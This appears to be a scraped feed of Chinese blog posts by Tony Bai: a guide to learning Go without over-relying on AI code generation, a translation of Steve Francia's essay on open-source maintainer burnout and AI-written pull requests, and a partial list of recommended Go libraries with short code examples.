https://tonybai.com/2026/06/04/master-new-tech-in-ai-era-counter-intuitive-learning-guide\n大家好，我是Tony Bai。\n最近，在开发者社区 Reddit 的 Golang（Go语言）板块上，一个求助帖引发了跨越语言和技术栈的集体共鸣。\n发帖人是一位刚入行两年的新人，他的帖子大意是：\n“我很迷茫。在这个AI时代，大家似乎都在用大模型疯狂地构建项目、飞速向前。如果我按照传统方式，看书、查文档、一行行敲代码，就会觉得自己慢得像个古董，正在被时代抛弃。\n但当我向AI要答案时，我又觉得我根本不是在编程，我只是个在中间倒腾提示词的传话筒。看着那些跑起来的代码，我感到无比空虚——我感觉自己像个骗子，我根本没有真正掌握它。在AI时代，我到底该怎么学习？”\n这个帖子之所以能得到成百条回复，是因为它戳破了当下几乎所有技术学习者的隐秘焦虑：当AI 能秒出代码、秒给方案时，我们该如何建立属于自己的、不可替代的技术壁垒？\n如果你的学习方式依然停留在“遇到问题 -\u0026gt; 丢给AI -\u0026gt; 复制粘贴 -\u0026gt; 跑通收工”的循环中，那么你正在主动将自己推向被AI淘汰的边缘。\n在这篇文章中，我们将结合这场技术社区的讨论，为你拆解一套在AI时代真正掌握一门新技术（我们以崇尚极简的Go语言为例）的“非主流”学习指南。\n为什么“AI代写”是一粒甜美的毒药？ 在Reddit的讨论区中，一位资深开发者留下了这样一句警示：\n“Remember, lines produced are lines spent; not achieved.”（记住，生产出来的代码行数，是你的负债，而不是你的成就。）\n在非AI时代，写代码的行数代表着你的思考与劳动；但在AI时代，生成一万行代码可能只需要几十秒钟。很多人因此陷入了“效率幻觉”，看着屏幕上飞速滚动的代码，误以为自己的能力也随之暴涨。\n这是一种极度危险的认知幻觉。\n1. 认知深度的“折叠” 编程不仅仅是输出语法，更核心的是在脑海中建立逻辑模型。当你遇到一个并发瓶颈或内存泄漏问题时，你为了排查它而去翻看源码、对比不同的垃圾回收机制、调整参数——这整个“痛苦挣扎”的过程，正是你大脑神经元建立连接、内化技术底层逻辑的唯一途径。\n如果你直接问AI“怎么解决”，AI会直接把改好的代码喂给你。你跳过了挣扎，也就跳过了认知。你的技术肌肉不仅没有得到锻炼，反而开始萎缩。\n2. 丧失对复杂系统的控制力 用AI拼凑出来的项目，在初期确实能跑得很快。但因为你没有亲手参与底层架构的微调，随着项目规模扩大，各个模块之间的耦合、并发冲突、边界条件会像雪崩一样爆发。由于你缺乏对这些代码的“微观掌控力”，一旦AI也无法给出正确答案时，你将面对满屏报错束手无策。\nSenior与Junior的AI使用界限 在技术团队中，你会发现一个有趣的现象：资深工程师（Senior）用AI效率翻倍，而初学者（Junior）用AI却越来越平庸。\n这背后的本质差异在于：你是否拥有“代码品味（Code Smell）”和“系统直觉”。\n资深工程师的模式：【主导与审查】 高级开发人员对系统架构、设计模式、性能瓶颈有着深刻的肉体记忆。当他们使用AI时，他们把AI当作一个速度极快的“草稿撰写员”。AI给出的方案，Senior一眼就能看出哪里有潜在的内存泄漏，哪里不符合并发安全。他们是在评审（Review） AI，始终掌握着主导权。\n初学者的模式：【盲从与执行】 初学者由于没有建立起完整的技术品味，无法分辨AI给出的方案到底是优雅的还是埋了雷的（即AI生成的“Slop/代码垃圾”）。初学者往往选择无条件信任，甚至连变量名、异常处理都直接套用。\n一位大厂技术面试官在贴子中坦言：\n“在最近的面试中，我看到了初级候选人理解能力的全面崩溃（collapse of comprehension）。他们能用AI在10天内做出一套复杂的分布式系统，但当我问及其中一个数据一致性问题是如何在Go中保证的，或者让他们手写一个简单的通道（channel）协作时，他们彻底哑口无言。”\n这就是盲目依赖AI代写的代价：你以为你开挂了，其实你只是把自己的大脑外包了。\n非主流学习指南（以Go语言为例） 那么，在AI时代，正确的学习姿势到底是什么？这套“非主流”路径建议你打印出来，贴在电脑旁。\n第一步：开启“Cold Turkey（冷火鸡）”阶段，强制肌肉记忆 在学习一门新技术（如Go语言）的前几个月，请狠心关掉你IDE里的所有AI辅助插件（如Copilot、Cursor的Tab补全）。\nGo语言的设计哲学是 “Clear is better than clever”。它的语法极其克制，没有复杂的语法糖。这使它成为最适合用古法一行行敲击来建立肌肉记忆的语言。\n亲手去写每一个 if err != nil 的错误处理； 亲手去体验指针传递与值传递的区别； 亲手写一个基础的 for range 循环。 在这个阶段，痛苦是你的朋友。那些因为拼写错误、类型不匹配导致的编译失败，正是你建立语言直觉的养料。\n第二步：系统化输入优先（先建立拼图框，再填充碎片） AI最擅长提供零散的代码片段，但它无法为你提供系统的知识框架。因此，必须坚持阅读经典。\n官方 Spec 优先：去读Go的官方文档《Effective Go》，去理解为什么官方不推荐使用过于复杂的技巧，而是强调代码的可读性。 经典图书不可替代：通读一本如《The Go Programming Language》这样的硬核著作，或《Go语言第一课》这样的系统化的专栏。书本/专栏能够提供一条由浅入深、逻辑连贯的学习脉络，这是AI那碎片化的回答永远无法提供的。 第三步：将AI角色重塑为“苏格拉底私人导师” 这是整套指南中最关键的改变：禁止让AI帮你写代码，强制让AI教你思考。\n每次遇到难题，不要问 “帮我用Go写一个高并发的爬虫”，而是使用以下苏格拉底提问提示词（Prompt Template）：\n苏格拉底学习 Prompt 模板：\n“我现在正在学习Go语言的 [并发控制/通道/接口] 概念。在解决 [具体问题] 时，我卡住了。请你扮演一位资深的、注重启发式教学的导师。\n在接下来的对话中，请严格遵守以下规则：\n绝对不要直接给我写出最终的代码答案。 请指出我思路中可能存在的盲区或不合理的设计。 用反问、类比或拆分步骤的方式，一步步引导我自己写出正确的代码。 如果我的代码运行出错，请帮我分析报错信息背后的底层逻辑，而不是直接给出修改后的代码。 我的初步代码/想法如下：[贴出你的尝试]”\n通过这种方式，AI从一个“抢你饭碗的枪手”，变成了一个“24小时无条件陪伴、温和且博学的私人教授”。\n第四步：构建“双向反馈回路” 自己先写：哪怕写得再烂，也要自己先用最基础的方式把功能实现。 让AI Review：功能跑通后，把代码发给AI：“这是我自己实现的Go并发下载器。请站在资深Go开发者的角度，帮我挑挑刺。这里有没有通道泄露的风险？有没有更地道的写法（Idiomatic Go）？” 对比重构：理解AI给出的优化建议，然后关掉AI的窗口，自己手动在编辑器里把优化后的代码重写一遍。 小结：在无限代码的时代，做掌握源头的人 在这个时代，最不缺的就是代码。随着大模型代码生成能力的指数级演进，写代码的成本正在无限趋近于零。\n但正因如此，能够看懂代码、评估系统风险、做出架构决策的人，其价值正在成倍增长。\n平庸的开发者：只学会了如何向AI索要现成的螺丝钉，一旦系统倒塌，他们不知道哪颗螺丝出了问题。 顶级的开发者：借助AI导师，以极快的速度弄懂了整个系统的构造原理，他们亲手组装，对每一个接口、每一次并发、每一处内存分配都了如指掌。 在AI时代，学习技术不是为了和AI比拼速度，而是为了借由AI的博学，更快、更深地抵达技术的本质。\n关掉你的IDE/Copilot自动补全，打开一本经典的Go语言书，准备好你的键盘。\n属于你的深水区探索，才刚刚开始。\n资料链接：https://www.reddit.com/r/golang/comments/1tsxbd4/how_do_you_guys_actually_learn_stuff_in_this_ai/\n为了便于你随时温习，我将这套**“AI时代非主流学习法”**整理成了4条核心原则，建议截图保存：\n主动戒断，重建肌肉记忆：在学习一门新技术（如Go语言）的前期，强制关闭所有AI代码自动补全。像前AI时代的程序员一样，亲手敲下每一行代码、解决每一次报错。 系统输入，构建认知地图：拒绝用碎片化的AI回答代替系统学习。坚持阅读官方规范（Spec）和经典书籍，先在脑海中画出技术拼图的“边框”。 重塑定位，将AI降级为导师：严禁向AI要直接的代码答案。使用“苏格拉底式提示词”，引导AI指出你的逻辑漏洞、解释底层原理、启发你独立思考。 闭环反馈，完成深度重构：永远坚持“自己先写 -\u0026gt; AI审查 -\u0026gt; 闭环重构”的三步法。在对比与亲手重写中，真正内化代码的“好坏品味”。 今日开放讨论\n学习的本质是思维的碰撞，面对汹涌而来的AI浪潮，我想听听你的真实想法：\n你目前在学习或工作时，对AI（如GitHub Copilot, Cursor, Claude Code等）的依赖程度有多高？ 在日常开发中，你是否也曾经历过“代码虽然跑通了，但感觉自己像个骗子”的空虚瞬间？你是如何克服这种技术焦虑的？ 除了文中提到的“苏格拉底提问法”，你在用AI辅助学习时，还有哪些秘而不宣的“神级提示词”或实用技巧？ 欢迎在评论区留下你的深度思考。\n如果这篇内容对你有启发，欢迎点赞、转发、收藏，你的支持是我持续输出硬核思考的最大动力。\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/04/master-new-tech-in-ai-era-counter-intuitive-learning-guide/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/master-new-tech-in-ai-era-counter-intuitive-learning-guide-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/04/master-new-tech-in-ai-era-counter-intuitive-learning-guide\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/04/master-new-tech-in-ai-era-counter-intuitive-learning-guide\"\u003ehttps://tonybai.com/2026/06/04/master-new-tech-in-ai-era-counter-intuitive-learning-guide\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，在开发者社区 Reddit 的 Golang（Go语言）板块上，\u003ca href=\"https://www.reddit.com/r/golang/comments/1tsxbd4/how_do_you_guys_actually_learn_stuff_in_this_ai/\"\u003e一个求助帖\u003c/a\u003e引发了跨越语言和技术栈的集体共鸣。\u003c/p\u003e\n\u003cp\u003e发帖人是一位刚入行两年的新人，他的帖子大意是：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003e“我很迷茫。在这个AI时代，大家似乎都在用大模型疯狂地构建项目、飞速向前。如果我按照传统方式，看书、查文档、一行行敲代码，就会觉得自己慢得像个古董，正在被时代抛弃。\u003c/em\u003e\u003c/p\u003e","title":"AI 时代如何真正掌握一门新技术？这份非主流学习指南建议永久收藏"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/04/the-maintainers-dilemma\n大家好，我是Tony Bai。\n开源软件的繁荣建立在一种隐形的“社会契约”之上：贡献者贡献智慧，维护者投入精力审核。然而，当维护者面对成百上千个待处理的拉取请求（PR）而精疲力竭时，这个契约正滑向崩塌。\nAI 的介入似乎提供了一线生机，但也带来了一个灵魂拷问：如果代码是 AI 写的，审核也是 AI 做的，那么“受保护的分支”究竟是在保护什么？开源社区赖以生存的“人与人的连接”是否会随之消失？前Go 语言核心团队成员、gohugo和Cobra 创始人 Steve Francia 近期撰写了一篇文章，深度剖析了这一“维护者的困境”。\n本文便是这篇文章的中译文。\n受保护的分支（protected branch）需要第二个人在代码发布前进行审核。这条规则的存在是因为人类会犯错，而第二双眼睛可以捕捉到第一双眼睛遗漏的东西。但如果其中一个审核者是机器人呢？如果两个都是呢？\n目前，我可以要求 AI 在我的仓库里发起一个拉取请求（PR），然后由我自己合并它。或者我可以自己写代码，让 AI 来审核。在这两种情况下，分支在技术上都是“受保护的”。但这种保护现在究竟意味着什么？\n这些问题值得思考。但它们往往占据了太多的注意力，而一个更迫切的问题却无人问津：现在，在我的各个仓库中，都有来自那些花时间理解代码库、编写测试并提交简洁补丁的人们的未处理拉取请求。我还没审核它们。遗憾的是，讽刺的是，我没审核是因为我深深地在乎。我知道花时间在一个项目上发起 PR 是多么大的事，对于那些我作为志愿者维护的项目更是如此。对于每一个拥有受资助维护者的开源项目，都有数以百万计的未付报酬的人类正盯着日益增长的待办事项，思考着这个周末是该花在处理问题上，还是直接合上电脑出门去。\nAI 工具现在可以进行可靠的代码审查、编写补丁和分拣问题。问题不再是它们是否足够好到有用。真正的问题在于，“有用”在何处变成了“负担”，以及过度依赖我们无法轻易重建的东西——维护者与贡献者之间、通过经验积累的判断力，以及围绕这种交流形成的社区——是否会造成破坏。\n118 个待处理的拉取请求 我上周查看了 GitHub 通知，然后直接关闭了标签页。Cobra 有 243 个未解决的问题（issues）和 118 个待处理的拉取请求（PR）。Afero 有 114 个问题和 55 个 PR。这两个项目都是我创建的。\n尽管我没有及时行动，但这些都是活跃维护的项目。Cobra 支持着 kubectl、GitHub CLI、hugo 以及成千上万的其他工具。当你输入 kubectl get pods 或 gh pr list 时，Cobra 正在解析你的命令。Afero 存在于 Hugo 内部，也存在于 Cobra 自身，以及数以百计的其他项目中。对 Cobra 的一次草率合并可能会破坏 Kubernetes 的工具链。对 Afero 的一次错误审核可能会开启一个静默传播到下游所有环节的文件系统漏洞。\n我创建 Cobra 是因为我需要为 Hugo 提供特定的 CLI 用户体验，而当时没有现成的库可以支持。我将它拆分为一个独立项目，想着其他人可能会觉得有用。我从未想过十年后我还在维护它，也没想到这两个项目会成为这么多人的关键基础设施。我只是想做些有用的东西，也许能交几个朋友。但开源意味着我有义务无限期地维护它吗？随着我发布的每个新项目，维护旧项目的时间就越来越少。有些 PR 已经等了三年了。在 Afero 的 BasePathFs 中有一个已报告的安全漏洞，自从 2025 年 6 月起就挂在那里——直到写这篇文章之前，我都还没意识到它在那里，因为积压工作太惊人了。\n维护的数学逻辑行不通。这是一个众所周知的开源问题（相关 XKCD 漫画）。贡献的数量增长速度远超维护者的数量，且随着项目的复杂性和影响力的增加，审查每个 PR 所需的时间也在增长。有些项目能吸引志愿者维护者，但这又带来了新问题：没有人对全局负责，每个人都只挑选对自己重要的事情，剩下的就随它去。Cobra 故意设计得节奏缓慢——有太多的项目依赖它，不能草率合并任何内容——因此每次更改都需要更彻底的审查，而不是更少。我的许多其他项目则掉进了既被维护又被遗弃的灰色地带。我会将其描述为针对最关键路径优化的维护，但这种区别对八个月前提交了修复方案且从未得到回音的人来说，意义并不大。\n这不仅仅是我的问题。GitHub 托管着超过 4.2 亿个仓库。我有幸成为 Secure Open Source Fund 首批资助对象的一员——这是一项真正产生了影响的投资。但即使在经过几个周期的扩展后，它也只覆盖了约 200 个项目。OpenSSF 每周扫描数百万个关键项目。Tidelift 向维护者支付报酬。把这些加起来，你也只覆盖了成千上万个项目。这虽然很有意义，但与实际的表面积相比只是杯水车薪。\n百分之九十六的代码库包含开源组件，而它们赖以生存的基础是由盯着永远清不空的待办事项的人类维持的，他们思考着是否这就是他们最终耗尽精力或干脆停止查看的周末。随之而来的还有维护者的愧疚感——明知道人们指望着你的工作，而你却没有能力帮忙，但又无法撒手不管。\n进入机器人时代 我一直在几个仓库里尝试 AI 工具——比如在 fileflow 上的 Jules 和在 pathologize 上的 AI 尝试，这些仓库依赖较少，有更多尝试空间。我也一直在 Afero 上运行 GitHub Copilot，它有更多依赖，但其模块化架构允许我扩展新后端而不触及其他项目依赖的关键路径。\n我去了一次邮轮旅行。当我在海上时，Jules 还在继续工作，每天都会发起新的 PR，因为我还没来得及合并第一个。等我回到家时，这两个项目已经有了超过 120 个 PR。我抽出一个早晨来审核它们，却发现它们其实代表了大约五个不同的更改集，每个更改集都在几周内每天提交一次。PR 本身并没有错，Jules 确实发现了真实的问题。但没有一个 PR 是完全正确的；在合并之前，每个都需要修正。在 Jules 提供的指导下，我做了调整，总体方向显示出前景。但实验目前带来的维护工作量是增加了，而不是减少了：我必须核实这 120 个 PR 中每一个是否真的是重复的，然后才能关闭。本意是减少积压工作的工具，反而增加了积压。\nJules 发起的这些 PR 署名是我，而不是 Jules——这引发了关于归属和责任的问题。从仓库的角度看，我是这些更改的作者。但我一行代码都没写。如果其中一个补丁引入了 Bug 或漏洞，提交历史记录指向的是我。大多数贡献者政策在编写时并未考虑到这种情况，标准的 CLA（贡献者许可协议）也不区分人类编写的代码和人类指导 AI 编写的代码。\n目前看来，Jules 似乎没有关于其之前工作的记忆，也没有检查未处理 PR 的能力。它扫描仓库，发现问题，发起 PR，然后停止。如果你不合并，Jules 下次扫描时会发现同样的问题并再次发起 PR。它没法知道你已经意识到了问题但还没合并，原因可能是：你不同意这个修复，或者修复优先级较低，或者你正在船上度假且两周内没法上网。这种语境对工具来说是不可见的。Jules 发现了一个真实的漏洞——文件操作中的 TOCTOU（检查时间到使用时间）漏洞——它是对的，它指出了这一点……指出了 12 次。\n对于机械性的工作——标记问题、更新依赖、起草样板回复——这些工具确实非常有用。但 Jules 和 Copilot 无法告诉我，这 55 个 Afero 的 PR 中，是否有一个根本不属于这个项目。这种判断需要了解代码库的过去和未来，而不仅仅是它的现状。\n这些工具只能基于可见的事物工作：代码、未解决的问题、PR 历史。维护者的约束条件是那些没人写下来的东西：内部辩论如何塑造了 API。人类判断力最无可替代、AI 最盲目的鸿沟，就在这两者之间。\n曾和我一起在 Go 团队工作的 Russ Cox 在最近的一次关于 AI 贡献的讨论中说得很好：“人们吹嘘代码库有成百上千行，是由 AI 在创纪录的时间内完成并提交的。仔细观察会发现，这些代码库往往更像是跳舞的大象，而不是有用的工程产物。”\n他是对的。但我一直在思考代码之外的事情。编写新软件和维护现有软件是有区别的。更新依赖并不是跳舞的大象。分拣一个陈旧的问题并不是创造性行为。告诉一个贡献者“谢谢，但我们不接受对这个 API 的更改”只是在维持运营。而现在，对于数百万个项目来说，灯已经熄灭了。\n这还不是最大的挑战。大多数人没意识到的是，评估和合并更改比编写新代码要难得多。理解一个更改如何融入现有的代码库、它的历史以及它的计划，需要一部分隐形的知识——这些知识存在于创意工作中，需要某种目前没有模型能复制的判断力。\n“受保护”到底保护了什么 Go 项目对我来说真的很美——那是运行了 15 年、极其细致的评审、设计讨论和精炼的评审文化。那是理想状态。但 Go 是个例外，大多数项目无法企及：由 Google 资助的全职贡献者，一项旨在持续 50 年且不受外部截止日期压力的任务。\nGo 团队最近有一个长长的讨论，关于是否接受 AI 生成的贡献——Russ Cox 的名言也源自那个讨论。这些人我共事多年——同样的评审、同样的方案、在同样的白板前争论。阅读那个论坛线程，我能听到他们的声音。我能看到他们每个人是如何坚持自己认为正确的事情，以及为什么。\nRob Pike 第一个发言且毫不含糊。这是一条非常危险的道路。在你的第一步上要小心。我建议简单地说“不”。那是 Rob。直接、原则性强，且通常是正确的。然后 Alan Donovan 指出了不舒服的现实：“我怀疑我们今天收到的一大部分 CL（更改列表）已经包含了 LLM 生成的代码，无论作者是否承认。马已经跑出马厩了。”\nRuss Cox 写下了我见过的最深思熟虑的回应。他的核心观点是：“我们能做的最重要的事情是维持我们平时的代码评审和代码质量标准……当代码的部分或全部是在 AI 工具的帮助下编写时，同样的标准必须适用。”以及：“当你使用 AI 工具完成工作时，你的责任并不会减轻。”\n这些立场中的每一个都是合理的。每一个都基于一个假设，而这个假设揭示了困境的核心：他们假设有人类可以进行评审。\nGo 能负担得起“维持同样的标准”，因为它有全职贡献者。它能负担得起“直接说不”，因为 Go 有足够多的人对重要的事情说“是”。\nAfero 没有。大多数开源项目没有。当 Rob Pike 说“不”时，Go 项目保持运行。当我说“不”时，PR 就挂在那里。那是不同种类的“不”。\n这里有一个光谱，你落在哪里取决于你究竟在两者之间如何权衡。在实践中，维护者面临五个选项：\n人类编写，人类审核。 AI 编写，人类审核。 人类编写，AI 审核。 AI 编写，AI 审核，人类点击合并。 AI 编写，AI 审核，AI 点击合并。 列表中的每一步通常都是在用严谨性换取速度，用信任换取吞吐量。但对于大多数人类或 AI 都不评审的 PR，根本谈不上标准。\n我们真正保护的是什么 当维护者评审贡献者的 PR 时，存在一个潜规则（契约）。贡献者投入数小时理解代码库、编写测试并提交干净的内容。评审者投入数小时进行评估、打回并提出改进建议。双方都在学习。评审者理解了项目的一个新角落。贡献者学会了更好地使用代码库的惯用法。这种关系形式。这种交流是使开源成为一个社区，而不仅仅是供应链的重要原因。\nBryan Cantrill 在 Oxide 描述了这种关于 LLM 使用的内部政策：通常，“读者和作者都默认，是编写者付出了更大的智力劳动。”当内容是 AI 生成时，“这个社会契约就变成了作者付出的努力最少。如果双方都没有付出努力，那么评审还有什么意义？”Oxide 的答案是，无论如何人类都要负责；工具不吸收责任。这是正确的直觉。但它假设有人真正在那里承担责任。\n对于大多数项目，根本没有人在评审。社会契约不是被 AI 破坏的——它正被沉默破坏。六个月前提交了一个干净、测试完备的补丁却从未收到回音的贡献者，并没有体验到一个退化版的理想契约。他们什么也没体验到。\n一个不完美的社会契约，是否好过一个从未发生的完美契约？\n来自 AI 的在一天内的响应，可能比来自人类的永远的沉默更受尊重。\n前方的实验 我决定弄清楚到底怎么回事。我在 Afero 上看到了 55 个尚未处理的 PR 请求，显然，这种拖延态度本身就已经构成了一种忽视行为。\nAI 工具会让我更投入，让我从那些本不需要我的决策中解脱出来吗？还是会让我感觉连接更少——人类元素又减少了一层？我不知道让 AI 评审 PR 而不是人类评审是什么感觉，也不知道当双方的努力都减弱时，问责制是否还存在。这就是实验。\nRuss 在那个讨论中还说了另一句话，我一直在回味：“最重要的事情是保持思考。工具让关掉大脑变得非常容易，但如果你小心避开那个陷阱，你就能产出好的成果。”这就是我要尝试走的路。让 AI 处理大量数据吧。而我自己则要继续负责做出正确的判断。\n没有一个通用的政策可以同时适用于 Go 和 Afero。也不应该有。\n受保护的分支依然受保护。我只是不再确定那究竟意味着什么。\n你遇到过这种情况吗？我特别想听听那些尝试过使用人工智能进行代码审查的维护人员的意见——哪些方面运作正常，哪些又出现了问题。\n原文地址：https://spf13.com/p/the-maintainers-dilemma/\n今日互动探讨\n“如果一个 AI 能够修复你项目中困扰已久的 Bug，但由于它是 AI 生成的，没有人能完全解释其每一步的逻辑，你会选择合并它吗？”\n在开源社区的未来，我们究竟是在守护代码的质量，还是在守护人类参与的痕迹？欢迎在评论区分享你的看法。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/04/the-maintainers-dilemma/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/the-maintainers-dilemma-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/04/the-maintainers-dilemma\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/04/the-maintainers-dilemma\"\u003ehttps://tonybai.com/2026/06/04/the-maintainers-dilemma\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e开源软件的繁荣建立在一种隐形的“社会契约”之上：贡献者贡献智慧，维护者投入精力审核。然而，当维护者面对成百上千个待处理的拉取请求（PR）而精疲力竭时，这个契约正滑向崩塌。\u003c/p\u003e","title":"开源维护者的困境"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/03/10-god-tier-go-qol-libraries-to-use-in-2026\n大家好，我是Tony Bai。\n在软件工程中，有一个词叫 QoL（Quality of Life，生产体验/开发幸福感）。\nGo语言（Golang）凭借极简的语法、强悍的并发能力和超快的编译速度，成为了现代后端和云原生的绝对主力。但坦率地说，Go在某些时候的开发体验并不算完美：为了坚持“显式优于隐式”的原则，我们不得不手写大量的样板代码（Boilerplate），甚至在处理路由、数据库迁移、环境配置时，常常感到有些繁琐。\nGo诞生至今已经17年。到了2026年的今天，Go生态经历了大浪淘沙般的洗牌。曾经风靡一时的保姆级“全家桶”框架逐渐失宠，取而代之的是**“轻量、模块化、对标准库极度友好”的拼图式架构**。\n今天，结合Go开发者社区的共识，我为你整理出2026年最值得引入的10个“神仙级”QoL工具包。它们不改变Go的底层哲学，却能让你的开发体验、代码品味和生产效率产生质的飞跃。\n数据库编译器：sqlc（类型安全的终极救星） 解决痛点：传统的 ORM（如 GORM）依赖大量的运行时反射，性能较差，且字段写错只有在运行时才会崩溃；手写 database/sql 又有太多的字符串拼接和样板代码。 神仙之处：sqlc 改变了游戏规则。你只需要写原生 SQL 语句，它就会帮你生成100%类型安全、无反射、编译期排错的干净 Go 代码。 实操场景： 首先编写原生的 SQL 语句文件：\n-- name: GetUser ne SELECT * FROM users WHERE id = $1 LIMIT 1; 运行 sqlc generate，它会自动为你生成编译期安全的 Go 函数。你直接调用即可，性能等同于手写原生代码，且任何 SQL 语法错误都会在编译阶段被捕获：\nuser, err := q.GetUser(ctx, userID) 标准库路由增强：chi（优雅的轻量骨架） 解决痛点：很多大框架侵入性太强，自定义了大量的 Context 和 Handler 签名，与标准库 net/http 严重割裂。 神仙之处：chi 100% 兼容 Go 标准库的 http.Handler。它不试图替代标准库，只是在标准库之上优雅地实现了路由分组、路径参数解析和中间件。 实操场景： r := chi.NewRouter() r.Use(middleware.Logger) // 极简的中间件支持 r.Route(\u0026#34;/v1/api\u0026#34;, func(r chi.Router) { r.Get(\u0026#34;/users/{id}\u0026#34;, getUserHandler) // 完美的路径参数支持 }) PostgreSQL 黄金搭档：pgx（告别底层的平庸） 解决痛点：标准库的 database/sql 为了通用性，抹平并折损了特定数据库的优秀特性。 神仙之处：如果你在 2026 年使用 PostgreSQL，pgx 是无可争议的行业标准。它不仅速度比通用驱动快数倍，还完美支持 Postgres 特有的二进制协议、批量导入（Copy Protocol）以及复合类型。 实操场景： // 使用 pgx 独有的高效率批量插入，比一条条 INSERT 快一个数量级 rows := [][]any{ {\u0026#34;John\u0026#34;, \u0026#34;Smith\u0026#34;}, {\u0026#34;Jane\u0026#34;, \u0026#34;Doe\u0026#34;}, } copyCount, err := conn.CopyFrom( context.Background(), pgx.Identifier{\u0026#34;people\u0026#34;}, []string{\u0026#34;first_name\u0026#34;, \u0026#34;last_name\u0026#34;}, pgx.CopyFromRows(rows), ) 终极断言利器：testify（让测试回归享受） 解决痛点：Go 官方自带的测试没有提供 Assert 方法，导致断言里充斥着枯燥的 if got != want { t.Errorf(…) }。 神仙之处：testify 是Go测试生态的无冕之王。它提供极其直观、可读性拉满的断言 API，同时完全不改变 go test 的运行机制。 实操场景： import \u0026#34;github.com/stretchr/testify/assert\u0026#34; func TestCalculate(t *testing.T) { res, err := Calculate() assert.NoError(t, err) // 优雅的无错断言 assert.Equal(t, 42, res) // 简洁的值断言 } 结构化日志标配：log/slog（官方终结战争） 解决痛点：第三方日志库（Zap, Logrus）割裂了社区，引入它们往往会带来沉重的外部依赖和版本冲突。 神仙之处：Go 内置的 slog 自 1.21 版本起已成为官方推荐的结构化日志方案，大幅降低了引入第三方日志库的必要性。作为标准库，它提供了高性能、标准化的结构化日志输出，完美支持 JSON 格式，直接节省了引入第三方日志库的开销。 实操场景： import \u0026#34;log/slog\u0026#34; // 输出标准的JSON结构化日志，无缝接入ELK或Loki slog.Info(\u0026#34;payment_processed\u0026#34;, slog.String(\u0026#34;tx_id\u0026#34;, \u0026#34;tx_998\u0026#34;), slog.Float64(\u0026#34;amount\u0026#34;, 299.9), ) 云原生配置解析：caarlos0/env（让环境变量回归整洁） 解决痛点：使用 Viper 解析配置过于沉重，配置文件格式（JSON/YAML）在云原生和 Docker 容器部署中往往不如环境变量灵活。 神仙之处：符合“12-Factor App”原则，通过 Struct Tag 极其优雅、轻量地解析环境变量，避免了繁琐的手工类型转换。 实操场景： type ServerConfig struct { Port int env:\u0026#34;PORT\u0026#34; envDefault:\u0026#34;8080\u0026#34; APIKeys []string env:\u0026#34;API_KEYS\u0026#34; envSeparator:\u0026#34;,\u0026#34; } 